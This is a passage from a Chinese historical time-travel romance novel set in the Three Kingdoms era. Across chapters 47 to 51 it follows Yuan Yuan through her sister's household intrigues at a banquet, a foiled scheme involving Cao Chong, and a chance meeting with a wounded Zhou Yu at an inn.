“唔。”袁媛突然被点,只觉得古代贵妇真是翻脸比翻书还快。上马车前,环夫人分明还是一副恨不得杀她为快的嘴脸,下了马车突然就亲亲热热地跟她演起了聊斋,随意切换面皮的功力令人叹为观止。
吐槽归吐槽,曹纯、曹冲当前,袁媛还真不能不接环夫人递来的橄榄枝。
她顺着环夫人的话吹捧:“侯爷统帅虎豹之师,治军严而不苛,敌人闻之胆寒,战功赫赫,令人敬佩!”
“可不是吗?”环夫人将手拢进袁媛的臂膀里,并肩而行时两人裙袍交叠,营造出一副亲昵无间的模样,“我们虽久居深闺内院,亦知虎豹骑旌旗所至,贼寇皆遁。侯爷彪威,举世闻名。”
“夫人谬赞!”曹纯中气十足的笑声抖落头顶金桂,落在几位宾客的发间,“我不过一介武夫,倒是府中夫人从娘家带来的桂花酿方子一绝,值得细品,里边请!”
月门近在眼前。
曹纯带着曹冲往前院去,一位珠光宝气的贵妇扶着婢女的手臂,眼眸中盈满笑意地迎了上来。细看眉眼,与袁媛有五分相似。
袁媛心中有数。这应该就是原身的三姐袁娥了。
47. 人彘
环夫人这种段位的古代贵妇,如果想要贴心,总是能做到很贴心的。
她体贴姐妹俩多年不见,同袁娥稍稍寒暄几句便故意找了由头,说久闻高陵亭侯府有一盆“绿云”是菊花中的圣品,绿中透白,晶莹浓郁,很想见见世面,袁娥立刻心领神会地吩咐婢女带她去院里赏花了。
留下姐妹二人在内室说体己话。
袁媛不知道原身与这个姐姐关系如何,心里有鬼,便着重避开以前的事,挑了个相对安全的话题:“多年不见,阿姐怎么瘦成了这般模样?”
“今早试衣,腰比及笄时还减了三分。”袁娥斜倚在并蒂莲花图样的软枕上,手腕处的虾须镯竟能从小臂一路滑过肘弯,空荡荡地悬在膀子上,真就是只剩下了副骨头架子。她嗤笑一声,似在自嘲:“自出嫁以来,如履薄冰,处处操心,怎能不瘦呢?”
“三姐当保重身体。”哪怕不是原身,看到好好一个花季女子随时会被风吹走的模样,袁媛的心里也不是滋味。
“傻丫头,谁人不知该保重身体?只是形势所迫,无得双全法罢了。”袁娥笑盈盈地拍了拍袁媛的手,从动作判断,两人在闺中时应该是极亲密的。她说话也并不避讳,美目一瞪,将侯府后宅秘辛大大方方地说给妹妹听,“你当这侯夫人那么好当?我刚进门时,老夫人把着管家权处处拿捏我,终日挑唆府中几个妾室与我打擂台,我好容易使了手段管起了中馈,孩子又上了身……”
那是她第一个孩子,哪怕如今已经时过境迁,一想起心里的恨意还是如烈火般无可抑制地往上涌:“那老虔婆,借口我身子重,又把管家权夺回去交给了她的侄女儿。哼!当时我怀相不大好,确实没力气同她计较。本以为退一步海阔天空,不成想,这一退竟让人以为我软弱可欺!可怜我儿,已经是个成型的男胎,竟生生被老虔婆同她的贱人侄女折腾没了!”
再听一遍,袁媛仍旧心惊。
婆媳关系是亘古不变的难题,但媳妇属于外姓人,孙子却是家中宝。在电视剧里,再刁钻的古代婆婆也会顾及血脉延续,注意不让宅斗伤及孙儿分毫。
怎么在袁娥口中,高陵亭侯府的老夫人竟连孙子都不放过?
“老虔婆听信谗言,一口咬定我怀的是个女胎,打的是弄死我好扶她侄女上位、一尸两命的主意。”袁娥恨意滔天,眸子里泛起渗人的火光,“结果我肚子里的是男胎!她有没有后悔我是没看出来,但却叫我知道,我要是再不支棱起来,这条命就该成了旁人的登天梯,被人踩在脚底下永远翻不得身了!”
袁娥脸上泛起讥诮的冷笑:“五妹,三姐教你句好,后宅之争如逆水行舟,不进则退。万万不可因为一时懈懒,让他人抢占先机,否则悔之晚矣!你三姐就是活生生的例子。虽然如今历经千难万险,阿姐我总算从地底下爬了上来,但阿姐吃过的苦,你不能再吃!七公子……品性如何现下还看不出来什么,但你比我有运道,没有先头娘子压着。趁着他如今钟意于你,你得抓紧哄着他先把儿子生了。”
什么?
袁媛瞠目结舌:“我并没想——”
“你不能没想,你必须想!”袁娥腕间的虾须镯撞在床架上,惊得袁媛心下一抖,“我们袁家四世三公,怎会养出你这般蠢笨的娘子!花无百日红,人无百月宠。现下你颜色好,七公子自然乐意宠着你,但男子的宠爱能维持多久全看造化,你难道要把后半生都压在他虚无缥缈的良心上?那你可错了,这世间的男子根本就没有良心这种东西。”
她大步走到窗前,指着远处院子角落里摆放着的两个半人高的陶制容器,嘴角抿出一个怪异的笑容:“知道那是什么吗?”
“瓮。”小口大腹,上端收口。袁媛在英灵渡时就买过两个类似的,用于储存大米和豆子。
“这可不是普通的瓮。”袁娥歪头欣赏了一番妹妹懵懂的反应,身体前倾半扑出窗外,瞳孔在屋外日光的照射下缩成浓黑的小点,“妹妹可听说过‘人彘’?”
“这是人彘?”袁媛险些惊叫出声。
人彘是吕雉用来报复戚夫人的一种极其残忍的刑罚,她命人剁掉戚夫人的手掌和脚掌,挖掉她的眼珠子,在耳朵里灌入铜,割掉舌头,喂吃哑药,把她扔到厕所里慢慢折磨至死。
史书上的酷刑变成了眼面前的实物,仿佛有一股刺骨冰冷的寒气沿着脊椎攀爬,令袁媛全身的寒毛都竖了起来。
“别怕!今儿是你外甥满月,我怎会允许污秽之物坏了他的好日子?这瓮里现下还是空的,明日才会有娇客入住。”袁娥安抚地拍了拍吓得连嘴唇都褪去了血色的妹妹,想起自己当年出嫁时,被老夫人侄女的陪房嬷嬷按在雪地里泼冰水的场景,指甲在掌心掐出了红痕。
不能心软。心软会害死妹妹!
袁娥狠下了心,定要将道理给袁媛说透:“老虔婆没了侄女,但想弄死我的心不死。这些年,府中侯爷的老妾被我收拾得服服帖帖,没人敢给她当狗腿子,她便只好找新人下手,拉拢了去年才入府的刘备的两个女儿。大刘氏刘菀圆润丰腴,泼辣撩人;小刘氏刘萱纤细灵巧,小意温存,两姐妹一动一静,一肥一瘦,初入府时侯爷觉得新鲜,的确宠爱过一阵子,养大了她们的胃口。”
“哼!”袁娥眼风如刀,只是提了一提她们的名字,就忍不住心火熊熊,“姐妹俩得志便猖狂,以为抱住了老虔婆的大腿,便有资本与我一较高下,呵!老虔婆的心肝里只放着先夫人为她生的嫡长孙,对亲侄女尚且假心假意,又怎会真心为两个不相干的外人打算?我不过略施小计,就逼得她不得不弃车保帅,抛弃大小刘氏犹如甩掉脚底下的污泥。大小刘氏如梦初醒,转头去求侯爷怜惜——”
袁娥的唇角画出讥诮的弧度,仿佛淬过毒的弯刀:“两个以色侍人的玩意儿罢了,打扮得漂漂亮亮能让侯爷高兴,恩宠就能长一些。每天哭哭啼啼惹人厌烦,侯爷难不成还会惯着?这不,没几天就腻味了,扔出去侍客陪笑,一点红唇万人尝。”
封建社会妾室地位低下,属于丈夫私产,可转赠、发卖,甚至作为殉葬的祭品。马王堆汉墓出土的《妾徇薄书》中,就将妾室与车马、器皿等并列登记,因为妾在法律上是“似人畜产”,等同于物品。
三国用妾室笼络手下部将的例子屡见不鲜。吕布就曾让宠妾曹氏在宴席上陪酒,之后赠予部将郝萌为妾。曹纯命刘氏姐妹侍客不过是这个时代的常规操作,哪怕她们是汉室宗亲,有个堪为一时人杰的父亲,也改变不了她们只是个“物件”的处境。
史书只记载刘氏姐妹被俘,再无之后去向,有种说法就是因为她们被俘后经历太过不堪,被刻意掩埋了。
袁娥教育妹妹:“你看,男人薄情寡义,好时千般好,坏时烂肚肠。两个刘氏接受不了,陪侍侯爷的部下朱觅时趁他酒醉,竟将人乱刀捅死了。侯爷大怒,命人将她二人做成人彘,给枉死的朱觅一个交代。”
朱觅死了?
袁媛一愣。
三国英雄辈出,朱觅还没资格在史书上留下名字,但他有个叫朱澄的儿子在曹冲身边做侍卫,就是在貘县时帮着周不疑围追堵截袁媛的几座铁塔之一。
能把儿子送进曹冲的初创班底,朱觅的能量可见一斑。他隶属于曹
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操旗下最精锐的骑兵部队虎豹骑,职位虽然不如正儿八经在史书上留下了名字的亲哥哥朱赞高,可也领着一支百人马队,不是无名无姓的小罗罗。虎豹骑成员历来只从百战老兵中精选,且优先选择曹氏宗族或者谯沛乡党人,以保证它的绝对忠诚。朱觅和朱赞不姓曹,但都是谯沛人,与曹操是同乡,根正苗红,备受重用。
刘氏姐妹竟然敢在曹纯的地盘杀了朱觅,不知该赞她们果敢孤勇,还是该叹一句胆大包天,顾首不顾尾。
“去岁还是床榻上鱼水之欢的解语花,明日就要变成角落里不言不语的瓮中人,这深宅里啊,最不能信的便是男人的真心,你可别犯傻。”袁娥关上窗,顺手拿起桌上的芙蓉团扇摇了摇,“你虽有个翁主的名头,但背后没了袁家,不过是个纸糊的老虎罢了。以咱们家如今的处境,你要当七公子的正妻难如上青天,不如抓点实惠的,赶紧趁着当下还有几分恩宠,早早生了儿子,使出浑身力气护着他平安长大。七公子的正妻必出自望族闺秀,日后有机会,咱们姐妹同心,想办法扳倒她。你放心,我必然会帮你的!”
不用了!
曹纯不过是个侯爷,妻妾之争已经你死我活。曹冲作为曹操有继承权的儿子,他的后宅得乱成什么样?
别说袁媛对曹冲没有男女之情,哪怕她爱惨了曹冲,她也得估量下自己的斤两,算算如果一头扎进宅斗剧里是不是能活过前三集。
没有金刚钻,她还是别揽这瓷器活了。
袁媛讪笑:“三姐,七公子不喜欢我,我也没打算嫁他。”
“他怎么不喜欢你了?你可别拿乔。”袁娥嗔怪地看了她一眼,以为小娘子面皮薄害羞,用指尖拨了拨袁媛耳畔的流苏坠,打趣道,“这坠子是七公子送的吧?他要是不喜欢你,会送你永庆坊的首饰?永庆坊件件精品,可惜产量稀少,有钱都轮不上买,买家得用权势去压人!大半年前大刘氏最得宠的时候,就缠着侯爷软磨硬泡,可是侯爷连声都不敢应。不成想你才刚到襄阳,整套的步摇耳坠项链对镯就戴在了身上,满座宾客都能看出七公子对你的宠爱。”
这话说的,好像曹冲故意用首饰给她打上了所有物的标记一样。
但这些首饰原本是曹冲给三位即将入宫的妹妹准备的陪嫁,袁媛喊冤:“七公子身份摆在台面上,要买首饰,店家自然巴巴的把精品送上。但他对珠宝首饰没兴趣,肯定不耐烦亲自挑选,估计是由手下人置办好同他报了个备,他连看都没看就让人锁进了库房。我匆忙间来了襄阳,身上首饰衣裳都缺,他恐怕连永庆坊是做什么生意的都不知道,随便让人取了套给我撑场面罢了,哪里就跟宠爱有关系了?”
况且,袁媛见惯了后世花样百出的工艺品,真材实料的三国首饰虽然精美,但在她眼里却不如后世用合成塑料制成的装饰物轻巧漂亮:“宝石都是深色,显得老气,又沉又重,压得我脑袋脖子疼。”
“这可真是孩子话了,这世上就没有女人不爱珠宝首饰的。”袁娥重新坐回软榻上,面上浮起温婉笑意,“你当大家斗来斗去的争宠是为了什么?难不成真是为了抢个臭男人吗?——嗤!七公子现下长得俊,争一争也就罢了。我们侯爷都快四十了,打仗回来一身臭汗,要不是他私库里好东西多,赏赐大方,那几个老妾就没一个稀罕伺候他的。只他不自知,还以为自己多有男子气概,有能耐惹得女人争风吃醋——男人年纪大了,就是这么自大天真。大家不过看在他赏的精美首饰的份上,哄自己陪他玩而已。”
这么现实的吗?
袁媛歪着头,觉得原身的这位三姐,性格未免太爽直了。
48. 莲饺
“吉时到——”随着礼官唱喏的长音,一张摆满了各色贺礼的木案被粗使婆子抬了上来。金铸的弓箭、玉雕的印绶、迷你版的刻笔、精致的竹简……满堂哄笑中,袁娥将儿子抱出来展示了一圈,将一个银光闪闪的马鞭塞到他的手里,引导高举着藕节似的小手扑到父亲的怀里,引来曹纯抚掌大笑:“这是谁送的?我儿一眼就瞧中了,乐哉乐哉!当备一份回礼才是!”
袁娥的嬷嬷堆着笑上前:“是七公子的贺礼!荣安翁主送了块长命锁,小公子也是爱不释手,刚还抓着不肯放呢!”
两件礼物都是曹冲准备的,此时被袁娥特意推到宾客的面前,既能体现曹纯对主公曹操的重视,又能彰显袁娥娘家妹子的翁主身份,借一借曹冲的势,一举两得。
曹纯一眼就看出了袁娥的用意,笑着向妻妹和曹冲致意:“多谢七公子和翁主厚礼!”
“恭喜阿父!”曹纯的嫡长子曹深带头举杯,看向弟弟的眼神中满是喜爱,“十二弟如此喜爱七公子送的马鞭,未来定也是个像阿父一般能上阵杀敌、驰骋沙场的大将军!”
“大哥说的是。”在家中排行第三的曹泽瞥了眼身侧的二兄曹演,见他正忙着给两岁的儿子曹亮擦嘴角糖渍,仿佛对最小的弟弟毫不在意,表情无奈地提醒,“二兄,咱们一起贺一贺阿父吧!”
“啊?哦,好!”曹演后知后觉地放下擦过糖渍的巾帕,捧起面前的杜康酒听话学话,“恭,恭喜阿父!”
话音未落,衣襟便被曹亮拽得歪歪扭扭,险些一头撞进面前的汤碗中。
“二兄,小心!”曹泽关切得喊了一句,待曹演站稳,扶住他的手臂,语气急切,“幸好没烫着!不然,沾了衣裳倒是不打紧,要是烫伤了皮肉……”
“怎就至于烫伤皮肉了?”坐在曹泽下手的曹溉轻笑出声,一双木箸敲出脆响,“阿父在二兄的年纪,已经跟着丞相举义兵、讨董卓了,虎父焉有犬子?三兄莫因二兄整日埋首书卷,倒忘了我们侯府是军功起家、以武立身的规矩。”
“四弟说的是,方才是我关心则乱了。”曹泽并不争辩,倒是坐在女眷堆里的一个白脸妾室可能是曹演的生母,急着为儿子找补,“二公子今早才扎了一个时辰的马步,定是这地上太滑……”
“滑?”端坐在主位的老夫人生得慈眉善目,之前一直笑吟吟的,仿佛一尊谁都可以随意糊弄的泥菩萨,此刻却突然将杯盏重重一搁,“哥儿们说话,有你插嘴的地儿吗?来人,掌嘴!”
“妾身不敢!”白脸妾室膝盖一软,眼睛却盯着袁娥所在的方向。
今天是袁娥长子的满月宴,老夫人吩咐掌嘴,打的可不仅是妾室的脸,还有袁娥的脸面。
“还不快谢过老夫人的教导?”袁娥用帕子轻拭唇角,似笑非笑,“没有规矩不成方圆,坏了府上的规矩,老夫人却只罚你打嘴,这可是天大的恩典。当年我怀头胎被突然窜出来的猫儿惊着,在宴席上不慎尖叫了一声,老夫人就责我失了体面,罚我大着肚子跪了一夜的祠堂呢!”
她说话时目光始终下垂,仿佛说的只是件不痛不痒的旧事。头上的凤钗忽明忽暗,像是毒蛇的信子一吞一吐。
“罢了,大喜的日子!”曹纯敛了笑,放下酒盏,“都坐吧。”
满堂寂静中,他看了看跪在地上的白脸小妾和站着的几个儿子,后者乖觉地坐回了原位。
“今日阿润满月,当举杯同庆!”曹纯很有大家长风范地示意,在场所有宾客共饮杯中酒,嬉笑声重新回到了席间。
袁媛盯着面前白玉盘
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里堆着的三枚栩栩如生的牡丹酥,裹着口中熏人的酒味,只觉得喉咙发紧。
开席前先免费观看一场刀光剑影的宅斗大戏,害得她还没开吃就有些消化不良了。
哪怕她不真是袁娥的妹妹,也不由自主为她在侯府的处境担忧。
曹操生了二十几个儿子,曹纯比他小十五岁,如今膝下也已经有了十二儿六女。曹深是先夫人留下的嫡长子,法理上的侯府世子,但曹纯不知出于何种考虑,迟迟没为他请封。二子曹演一副不善言辞的憨直模样,却是历史上笑到最后的宅斗赢家,曹纯死后他进封平乐乡侯,去世后又将爵位传给了曹亮继承。三子曹泽心思机巧,四子曹溉性直敢言,往下的五个弟弟没有言语,但难保不心怀鬼胎。
加上坐在袁媛对面,一字儿排开的三十五位貌美妾室,以及威名在外的老夫人,高陵亭侯府可谓一屋子魑魅魍魉,就没一个省油的灯。
宴是满月宴,但乳母抱着在怀中呼呼大睡的主角曹润退场时,酒宴还未过半。
袁媛已经百无聊赖地想打哈欠了。
真不知道这些人为什么会有那么多话要讲,明明相互恨得巴不得把对方掐死,面上却个个笑容温柔举止优雅,好似跟对方好得能穿进一条裤子。
“翁主怎的不吃?可是这菜肴不合胃口?”六公子曹瀚生得眉目清秀,执扇遥点袁媛面前食案,笑得人畜无害,“殿下瞧这道莲饺,像不像用荷叶包裹着的月亮?旁边缀着的几点金辉,是今晨刚从湖里捞上来的蟹粉,你尝尝?”
袁媛寒毛直竖。
她给自己的定位就是个充场面的布景板,可不想成为别人盘子里的菜。鬼知道曹瀚在打什么主意,平白无故的来跟自己搭话。
“我不爱吃莲饺。”袁媛皱眉。
49. 刘萱
曹冲放下了木箸。
满月酒属于家宴,宾客按照亲疏远近分席。曹冲虽然是同袁媛一起来的,但他和环夫人属于曹纯的亲戚,袁媛算是袁娥的亲戚,座位中间隔了曹瀚等一众曹家子弟,足足有十来米远。
但也许是袁媛发间插着的翡翠步摇品相太好,即使曹冲没打算特别留意,也总是时不时被远远传来的那抹绿光晃到眼睛。
“阿冲,尝尝这个!”环夫人将一片熏肉夹到儿子碗里,曹冲嘴上虚应,眼睛却始终盯着袁媛的方向。
方才端着酒壶的婢女经过,不慎将酒洒在了袁媛的裙摆上。她不懂武艺,恐怕看不出来其中蹊跷,曹冲的心里却跟明镜似的。那婢女绝对是故意要污了袁媛的裙子。
她明显陷入了迟疑。
她这人很是奇怪。某些很明显的破绽,她视若无睹。但有些极其隐蔽的问题,她又能精准地感应到危机。譬如现在,曹深的妾室和和气气请她离座更衣,不管从哪个角度看,都是再正常不过的举动。可袁媛却本能地抗拒,绞尽脑汁想要留在原地。
曹深的妾室又怎会放过她呢?
“七公子,哥哥敬你一杯!”曹泽高举酒杯凑了过来。
曹冲漫不经心地喝尽杯中酒,眼角余光瞥到曹深的妾室拉过袁媛的手,发髻上的金簪几乎戳到了她的侧脸,险些将她划伤。
行动快过意识,曹冲猛然站起了身。
“诸位慢饮!”他道了一句扰,绕过正哄着老夫人谈笑的曹家兄弟,在袁媛的食案前站定。
“七,七公子?”曹深的妾室吃惊地望着他。
曹冲的情绪来得突然,许是酒劲上头,看这妾室分外不顺眼:“翁主不胜酒力,我陪她去外头醒醒神。”
袁媛眨眨眼。
她担心醉酒误事,也怕喝多了憋尿要上厕所,所以无论是敬酒还是被敬酒都只是拿起杯子装了装样子,实际上一滴都没真喝下肚。
但曹冲好心帮她找了借口,她自然不能当众拆台,不然未免太不识好歹了。
徐夫人不敢拒绝曹冲的提议,或者她根本也没想拒绝,袁媛懒得揣摩她的心思。
反正结果是四名婢女提着八角灯笼在前引路。有曹冲撑腰,袁媛底气极硬地跟着徐夫人走过长长的连廊。快走到尽头处时,婢女们将灯笼向右一转,照亮了一扇斑驳的朱漆角门。
“这里是府上预留的客房,日常有人洒扫,干净得很,正适合翁主歇脚更衣。”徐夫人一边举起灯笼,一边推了推门,讶异道,“呀,门怎么锁了?”
袁媛与曹冲对视一眼,从对方的眼眸中看到了果然如此四个大字。
看来徐夫人费尽心机演的这场戏,只是想邀请袁媛当个配角,主角另有人选。
只是不知道,被锁在房里的倒霉鬼是谁?
按照电视剧的套路,里头怕是躺着一对衣冠不整的狗男女,专门等着袁媛来上门捉奸。
曹冲没经历过电视剧的教导,
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但他天资聪颖,略加思索便想通了其中关窍,似笑非笑:“打不开门便罢了。这里离马车房不远,翁主可移步去马车上更衣。”
“不……不必劳烦翁主!”徐夫人佯装镇定地回头,只见七公子与翁主殿下并肩而立,一个腰间的玉佩穗子迎风摇摆,一个脚边的青色衣裙翻起风浪,好整以暇,相得益彰,好似在欣赏一出拙劣的折子戏。
心里本来就藏着鬼的徐夫人忽然心虚,硬着头皮道:“这里从不锁门,怕是家丁最近新上过桐油,一时糊住了门闩,命人踹开即可。”
“那多不好。”袁媛借着灯笼的光凑近,修长的手指抚过门缝。指尖一用力,原本卡死的门闩竟然松动了三分。
她对古代的门闩没有研究,所以看不出猫腻,曹冲却是一眼便认出这是在普通的门闩上加了个套锁小机关。门被人从外面关上后,里面的人再用力都无法打开,看起来好似是里头的人故意栓死了门,其实却是里面的人被困在屋内。
两个奸/夫/淫/妇在里头翻云覆雨,可不得把门从里头锁死了才正常吗?
袁媛没兴趣被徐夫人当枪使,作势要走:“既然马车房很近,还是去马车上换衣裳吧,正好也能走路消消食。”
“翁主留步!”徐夫人一急,发间步摇乱颤,“妾身方才好似听见……听见,屋内有女子啼哭!”
这是说里头的男人在强X女人的意思?
袁媛也站在门外,她可什么声音都没听到。
50. 上房
机缘巧合之下救了个素昧平生的女子,袁媛直到宴席结束都十分亢奋,即使曹冲抛弃了环夫人,主动来与她坐同一辆马车也没能破坏她的好心情。
“你好似十分高兴?”曹冲嫌弃的目光落在袁媛襦裙上那朵半开不开的芍药花上,只觉得高陵亭侯的后宅真该好好料理料理了,连这种针脚舒朗得能漏风的劣质品都敢拿出来贻笑大方,难怪徐夫人顶着个猪脑子使还敢害人。
袁媛却很喜欢这衣裳,指尖摸着袖口绣纹,嘴角微翘:“今儿是我外甥满月,我当然高兴。我外甥长得虎头虎脑的,真可爱!”
理由很充分,即使嘴贱如曹冲也无法反驳。
他难得词穷,斜靠在软垫上,指尖抵住太阳穴轻按,盯着袁媛的脸看了半分钟,直看到她怀疑自己脸上沾了什么脏东西,忽然俯身干呕。
惊得袁媛差点撞上车厢。
前因联系后果,好似他被她丑吐了似的。
“停车!”袁媛躬身去掀车帘,手却被曹冲攥住,力道大得能在雪肤上留下红痕。
“不妨事。”曹冲将额头靠到她的肩膀上,头冠上的长簪抵得她锁骨疼,混杂着酒气的温热呼吸钻进胸脯,“马车颠簸了些,继续赶路便是。”
连声音都暗哑了。
“你醉了。”袁媛摸了摸他的额头,体温倒是正常,但他的状态显然不正常。
“别闹!”曹冲捉住她作乱的手,生平第一次体会到心跳过速的感觉。
袁媛是个女子,而他是个男子,他与她共处一辆马车,肌肤相贴,耳鬓厮磨……酒精令他的意识有些模糊,但这是一种很新奇的体验。
第一次发现,原来女子的手是如此细腻柔软;原来发丝垂在女子的颈侧,会勾起如此好看的弧度。
其实早在被徐夫人带去见曹溉时,曹冲就意识到自己也中了招。他是天生的好酒量,几乎千杯不醉,但席间被曹溉强拉着共饮了一盏酒,之后便有些恍惚。想来有人为了算计曹溉,在他酒水中加了料,曹冲不幸中了误伤。
酒气在五脏六腑间乱撞,往日宽敞的车厢变得逼仄。马蹄踢踏,浮光将掠过的映成树影,曹冲视野里的一切都是摇晃的,只有身旁襦裙
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上的芍药花定在原处,安静地等待他的采撷。
曹冲听到自己沙哑的声浪在封闭的空间里荡开:“你身上……今日熏的是什么香?”
“我哪有熏香?”袁媛皱眉,想了想,“你说的是头油的味道吧?闻着有点像是芍药味。”
“是了,是芍药。”曹冲盯着袁媛袖口处露出的半截雪肤,芍药花特有的轻柔花果调萦绕鼻尖,令他喉头发紧。
“你……”马车突然一晃,袁媛没坐稳,手在惯性的作用下贴上曹冲的胸膛。
两人同时僵住。
隔着两层细缎,她摸到了他如鼓的心跳。俊朗的眉眼盈满酒意,当他醉眼朦胧地把视线投注过来时,竟然显出了几分诱人的魅色。
袁媛触电般收手,却被曹冲攥得更紧。
窗外漏进来的灯光将他棱角分明的脸照得忽明忽暗。
“芍药,真好闻呐。”他含含糊糊地呓语,尾音如同浸了蜜,混着迤逦在她耳畔拉出丝来。袁媛只觉肩膀一沉,方才还勾魂撩人的公子哥竟忽然间卸去了力道,整个人都扑在了她的身上。
51. 周瑜
夜色已深,客栈最后几盏油灯即将燃尽,六张槐木方桌上狼藉未收,地上到处都是骨头渣、瓜果壳,被从门缝间挤进来的夜风一卷,贴地滑行。
玄衣男子握拳抵唇,压抑地咳嗽了几声,抬头看向曹冲:“这位公子,不知能否腾出间上房,行个方便?”
张贵抢先开口:“我们公子带着女眷呢,哪有多余的房间?”
曹冲的目光落在玄衣男子的手上,虽然他紧握住了拳,但隐约可以看到暗红的血迹,衬得对方泛青的唇色,看起来越发憔悴。
曹冲怀疑自己的状态也好不到哪里去。
满月宴上下肚的酒水后劲还未完全消退,额头上刚被撞出的肿包生疼,一醒来就发现袁媛想扔下他独自逃跑的烦躁令他失去耐心,活似话本里的邪煞:“这位公子,怕不是有伤在身?”
话一出口,玄衣男子的随从戒备上前,虎口压住腰间剑柄,紧绷的肌肉将布料撑得膨起。
“公绩!”玄衣男子轻喝,右手不经意地拂过右胁,脸色褪成纸张般的惨白。随从担心地伸手去扶,却被他用眼神制止。
袁媛的心脏漏跳了一拍。
凌统,字公绩,是东吴名将凌操之子,未来的“江表之虎臣”,今年才刚满二十岁。他去年起才正式加入三国战局,先跟着孙权攻打黄祖,再随着周瑜参与赤壁之战,主要以历练为主,小试牛刀后虽有战绩,但并不突出,还未来得及扬名。
他真正大放异彩要等到五年后的逍遥津之战,率三百亲兵为孙权断后,即使战至只剩一人仍然死战不退,最后着甲潜泳逃出升天,令孙权“泣涕交加”。
凌统目前只是个无名小卒,官职是荡寇中郎将,职位低于将军,却也不是随便什么人都能使唤的动的。玄衣男子以荡寇中郎将为随从,结合他三十左右的年纪,世间罕见的俊美,以及右胁处渗出的可疑血迹,他的身份呼之欲出。
周瑜。
这是刚刚打赢了赤壁之战的周公瑾!
今年上半年,周瑜率军屯驻南郡北岸,与曹仁隔江相持,督战中不幸被流矢击中右胁,始终未能痊愈,于次年在巴丘病逝。
周瑜文武双全,紧实的胸腰即使缠着层层绷带,也能窥见蜂腰腹肌的轮廓。唯有一步三喘的吃力模样,泄露了命不久矣的真相。
但他是周郎。活生生的,病美人BUFF下的,曲有误、周郎顾的那个周郎!
袁媛心中土拨鼠尖叫,目光穿过跃动的油灯火苗,直勾勾盯住周瑜,瞧得入神,完全没留意到身侧的曹冲扶着方桌的手差点将桌角捏碎。
残留的酒精与药物在血管里翻腾,有一瞬间曹冲甚至想蒙住袁媛的眼,告诉她如果再盯着看下去,玄衣男子身上的衣服怕是都要烧起来了。
幸好他清晰地意识到是酒精和药物在作祟,及时将嘴边的话吞回了肚子里。
“公子好眼力。”周瑜并不避讳伤情,拱手时动作拉动伤口,冷汗几乎湿透中衣,使明眼人一看便知他已是强弩之末,欲盖弥彰并无意义,“在下携仆外出探亲,不料途中遇到匪患,家财尽失,勉强逃出命来,令公子见笑了。”
“最近世道不太平,劫道的确实多。”曹冲将张贵当做拐杖,摇摇晃晃地走近几步,似笑非笑,“兄台这般好样貌,匪患竟然只劫了财,并未劫色吗?”
“竖子岂敢!”凌统拔剑出鞘,却被周瑜凌厉的眼刀冻住。周瑜咬住下唇,用手抵住疼痛的右胁,强压下涌上喉头的腥甜,“若论样貌,公子也是人中翘楚,不遑多让。”
曹冲当然知道自己长得好,从小到大他收获过无数人的夸赞,但从来没有一个人的夸赞像眼前这人这样让他开心。
应该是酒精和药物的作用?
曹冲皱眉,看向身侧恨不得盯着陌生男子咽口水的女人:“一共只有两间上房,若是让一间出去,表妹可愿屈尊与在下共处一室?”
表妹?
袁媛心下一顿,意识到曹冲是不愿意在周瑜面前暴露真实身份,才胡乱给她按了个头衔。
不过,三国时期,门阀家族惯用联姻巩固政治联盟。袁绍势力如日中天时,曹操为了拉拢袁谭,主动提出让儿子曹整娶袁谭之女为妻。从这个角度看,袁媛与曹冲确实有亲戚关系,只不过当时曹操自降辈分,作为他儿子的曹冲也得跟着降格,成了袁媛的晚辈。
在曹府当婢女时,袁媛守夜都守成习惯了,完全不介意与小侄女的同辈人同处一室。反倒是周瑜,今晚若是订不到房间疗伤歇息,怕是随时会提早去见阎王。
况且,曹冲刚刚抓住了她意欲逃跑,难道还会放任她单独住一个房间?别做梦了,无论是曹冲还是袁媛心里都很清楚,只要她一个人住一间房,等到夜深人静时她绝对会偷偷起来偷马逃走。
袁媛斜瞥曹冲:“我说不愿,有用吗?”
“自然无用。”曹冲嗤笑,只觉袁媛耳畔的流苏荡得他心头发痒,直接便拽住袁媛的手,也不去看身后周瑜的反应,脚步虚浮地向客房走,“兄台伤势要紧,上房让一间给兄台,表妹便与我委屈一晚吧。”
“你松手!”袁媛被他拽得踉跄,偏偏他不知道发什么疯,好好的直道走得东倒西歪,还偏执地去数台阶的个数:“一,二,三……”
数到八时突然断了声响,将头埋进她的肩窝,如同好不容易抓住了浮木的溺水者,不仅没有听话松手,反而肆无忌惮地将整个身体都压了过来。
“重死了!”
袁媛几乎站不稳,若不是张贵及时过来扶了一把,她和曹冲两个人得齐齐滚下楼去。
“这边!”张贵打开房门,帮着袁媛一起把曹冲弄进屋,才刚喘口气,便见他的主子像具雕塑般直挺挺地栽进了被褥里,俊脸朝下,陷在里头一动不动。
“哎呦老天爷,我的七公子!”张贵惊呼,赶紧给曹冲翻了个身。
袁媛连忙自告奋勇:“我去催一催店家,尽快要些热水来,还有醒酒茶!”
曹冲再次不省人事,这可是千载难逢的逃跑机会,不等张贵回答,袁媛拔腿就想向外冲!谁知腕间力道突然加重,曹冲挪了挪身子,竟然将她的手臂连着半截衣袖全都压在了身下。
“放手!”袁媛用另一只手用力去拨曹冲的身体,可惜纹丝不动,
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无奈之下只能柔下声来劝哄,“你放一放,我去帮你打些水来梳洗。”
曹冲毫无反应,张贵把被子摊开盖在主子身上:“翁主,小的已经给过银两,一会儿店家便会送热水和醒酒茶上来,怎好劳动您亲自动手?您歇歇,伺候公子梳洗的活自有小的来干!”
机不可失时不再来,袁媛恨得咬牙切齿:“你帮我把他的手掰开,我尿急,他这样抓着,我快憋死了!”
真的有人能够在酒醉昏睡的情况下长期抓住东西不放吗?
袁媛在现代的生理常识课上学习过,酒精会抑制人类的中枢神经系统,尤其是小脑和前额叶皮层,从而导致肌肉控制能力下降,主要表现为动作不协调、力量控制不佳。醉汉可能会因为一时的应激反应在突然失去平衡或者情绪激动时紧抓物体,但难以持久。
袁媛的手腕处传来阵阵钝痛。
张贵不敢动手,油滑地给袁媛搬来一张小凳,让她可以靠坐在曹冲床边。他有很多事要张罗,逮着空便窜出了门,留下袁媛一个人同曹冲较劲。
曹冲修长的五指如同机械指般掰都掰不动,他真不是在装睡?
袁媛凑到曹冲耳边,唤他:“曹冲,曹冲!”
没有反应。
“别装了,我都看出来你醒着了。”
没有反应。
“再装我要揍你了!”
没有反应。
……
袁媛想了想,心生一计:“我突然想起来,有一个能够提高异能觉醒率的办法,你醒过来我就告诉你。”
曹冲纹丝不动。
嗯?难道他真的睡死了?
袁媛半信半疑,仔细观察他的状态,除了被醉意染出红晕的眼角露出几分难得一见的迤逦之外,一切正常。
但这不科学!
